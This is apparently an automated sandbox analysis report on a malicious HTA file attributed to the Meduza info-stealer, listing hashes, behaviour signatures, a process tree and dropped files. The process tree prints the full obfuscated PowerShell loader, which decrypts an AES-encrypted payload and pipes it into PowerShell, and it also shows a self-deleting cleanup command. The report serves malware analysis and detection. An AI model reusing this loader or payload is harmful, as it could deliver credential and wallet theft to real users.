Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-04-2024 21:24

General

  • Target

    hope1.hta

  • Size

    68KB

  • MD5

    c848d6d7525cdef8a88a2633dd587bd9

  • SHA1

    879cfec7388812fbb3b6ea5d0ef70a1208c69049

  • SHA256

    0084b13cb5945c1da5e3ab7127d81a918605a9a997b7bec4e38462d5c20b390c

  • SHA512

    42c956388fad9a4449e49c35efc916bf1ca2182a941147bd14a478d242983c2cf387f575c351920e12be3a9b5899e09b988b48670281052f925ab9a76e3f8990

  • SSDEEP

    768:5GAFjsExaJ1TWybaoQQRFJGwPop2NwDc7k0sS7:IbqaJhbTQXZc7uS7

Malware Config

Signatures

  • Meduza

    Meduza is a crypto wallet and info stealer written in C++.

  • Meduza Stealer payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\hope1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1516
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $MPABbJW = 'AAAAAAAAAAAAAAAAAAAAAP9xiqyHIpai2gqHPv7jHwt32MmWS/7yqPi90oWNMxbLMo1nobF5j6ElP7UlaveZHcq6JVEPg5zVhvE//5WdJosqpVjbK07uZMGUU8U3c4mfVNqCBVBi4t8wNu9CyENgoPdUqRBJ4CUqtab5w5YBUgiGSU+rXr1Qf5AOGI4WNHFij4S0nQrSeHchNS1xIqPN3CoikINUQUHHjnl8UcV8VQR7J1AAiXjLuh1ClcEp2bUXbGLVE//4k+wO2W6OEdtHBNhjG7Fg83S8x8O5Ic2wSl5Sx9k23DJVkIgsdeZNAXhll7OtsXM2NE155Ru+AO2VrhwmBe8JRFSA8/CgG3A9eEw7GwQUY2X9BjOx4QbQj7Kiwksq4NtHESSVYj2L08TVpTw1v22TyylLnyuRESwvAoyJ4mm99ZtdXu69+UxD+wksMjcTau1jqrHRk6NJzCRKMrPs2UpSwJF7ilCxd2zJJpP/LzVia7iYZw76zBg1ru6mghLwQn3SWbTpLjPu5yiu5FSDuinsvX6v+tEMODKCId3zDIqcSbDMiMGyn6ermJIsQ3aAriemnldHTHqfy+YT53nLdG+pWKpNqJYIHdX5Ez8/Q7ryvmy1wU/yW7LFqL5bq8QKCgeUxjMKswz7Ti06+Ynt+Vkqp8hZfHejsLrTM3E=';$pdkuCTF = 'c0NxRVdaTHJablNTcHVBdUdCVEp0V3lKa05VcXJnQnI=';$XhTUGzWr = New-Object 'System.Security.Cryptography.AesManaged';$XhTUGzWr.Mode = [System.Security.Cryptography.CipherMode]::ECB;$XhTUGzWr.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$XhTUGzWr.BlockSize = 128;$XhTUGzWr.KeySize = 256;$XhTUGzWr.Key = [System.Convert]::FromBase64String($pdkuCTF);$KLgVQ = [System.Convert]::FromBase64String($MPABbJW);$QuXZbStl = $KLgVQ[0..15];$XhTUGzWr.IV = $QuXZbStl;$BKtCdAPSi = $XhTUGzWr.CreateDecryptor();$ybMDeHcED = $BKtCdAPSi.TransformFinalBlock($KLgVQ, 16, $KLgVQ.Length - 16);$XhTUGzWr.Dispose();$FeBhDwr = New-Object System.IO.MemoryStream( , $ybMDeHcED );$jjIRc = New-Object System.IO.MemoryStream;$JErqZVtVy = New-Object System.IO.Compression.GzipStream $FeBhDwr, ([IO.Compression.CompressionMode]::Decompress);$JErqZVtVy.CopyTo( $jjIRc );$JErqZVtVy.Close();$FeBhDwr.Close();[byte[]] $XRAmHXK = $jjIRc.ToArray();$nmnuV = [System.Text.Encoding]::UTF8.GetString($XRAmHXK);$nmnuV | powershell -
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:640
        • C:\Users\Admin\AppData\Roaming\Mejesusa.exe
          "C:\Users\Admin\AppData\Roaming\Mejesusa.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:1432
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\Mejesusa.exe"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1692
            • C:\Windows\system32\PING.EXE
              ping 1.1.1.1 -n 1 -w 3000
              6⤵
              • Runs ping.exe
              PID:1472

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    c580727fc0a7a733ea6a446b67ca63f7

    SHA1

    ebdd57fca25df0f759dec07c5382d560df7600c2

    SHA256

    369ef9ccfc9923d44f390840e46cc948796bb79bec86644402608e9a8af80073

    SHA512

    2a1aba5dfe194d53ce71cafb94d147999968aa0a7e5bd1db069da62ab3e06f475af77c258532647dcb7370f4e12c188b99624fc5a9c7c44f196c98e9d2b12733

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oxu4lwun.2pq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Mejesusa.exe

    Filesize

    907KB

    MD5

    a3d57207718a17b34a07438c9dadd34a

    SHA1

    e610cd61916e68f0d018e8dc89b051b2e0dd88fa

    SHA256

    28f08075554d51a59cb56805c6e1e9923b2a2950a9f75e72a6071fd825eece01

    SHA512

    16f271b7bb06c4f7a0e3b8c07647e547b189fe5b018ef939b3a005a549b1563524f60e21115565237aa3d42019d6772e69956bbf09a4d1c1dd16bac81875b4c6

  • memory/640-33-0x00000000073F0000-0x0000000007434000-memory.dmp

    Filesize

    272KB

  • memory/640-37-0x00000000088B0000-0x0000000008E54000-memory.dmp

    Filesize

    5.6MB

  • memory/640-36-0x0000000007720000-0x0000000007742000-memory.dmp

    Filesize

    136KB

  • memory/640-35-0x0000000007800000-0x0000000007896000-memory.dmp

    Filesize

    600KB

  • memory/640-34-0x0000000007580000-0x00000000075F6000-memory.dmp

    Filesize

    472KB

  • memory/1152-13-0x0000000005430000-0x0000000005496000-memory.dmp

    Filesize

    408KB

  • memory/1152-14-0x0000000005510000-0x0000000005576000-memory.dmp

    Filesize

    408KB

  • memory/1152-20-0x0000000005B00000-0x0000000005B1E000-memory.dmp

    Filesize

    120KB

  • memory/1152-21-0x0000000005B30000-0x0000000005B7C000-memory.dmp

    Filesize

    304KB

  • memory/1152-22-0x0000000007420000-0x0000000007A9A000-memory.dmp

    Filesize

    6.5MB

  • memory/1152-23-0x0000000006020000-0x000000000603A000-memory.dmp

    Filesize

    104KB

  • memory/1152-7-0x0000000005390000-0x00000000053B2000-memory.dmp

    Filesize

    136KB

  • memory/1152-19-0x0000000005680000-0x00000000059D4000-memory.dmp

    Filesize

    3.3MB

  • memory/1152-2-0x0000000002660000-0x0000000002696000-memory.dmp

    Filesize

    216KB

  • memory/1152-6-0x0000000004D30000-0x0000000005358000-memory.dmp

    Filesize

    6.2MB

  • memory/1152-4-0x0000000002280000-0x0000000002290000-memory.dmp

    Filesize

    64KB

  • memory/1152-5-0x0000000002280000-0x0000000002290000-memory.dmp

    Filesize

    64KB

  • memory/1152-3-0x0000000074380000-0x0000000074B30000-memory.dmp

    Filesize

    7.7MB

  • memory/1152-50-0x0000000074380000-0x0000000074B30000-memory.dmp

    Filesize

    7.7MB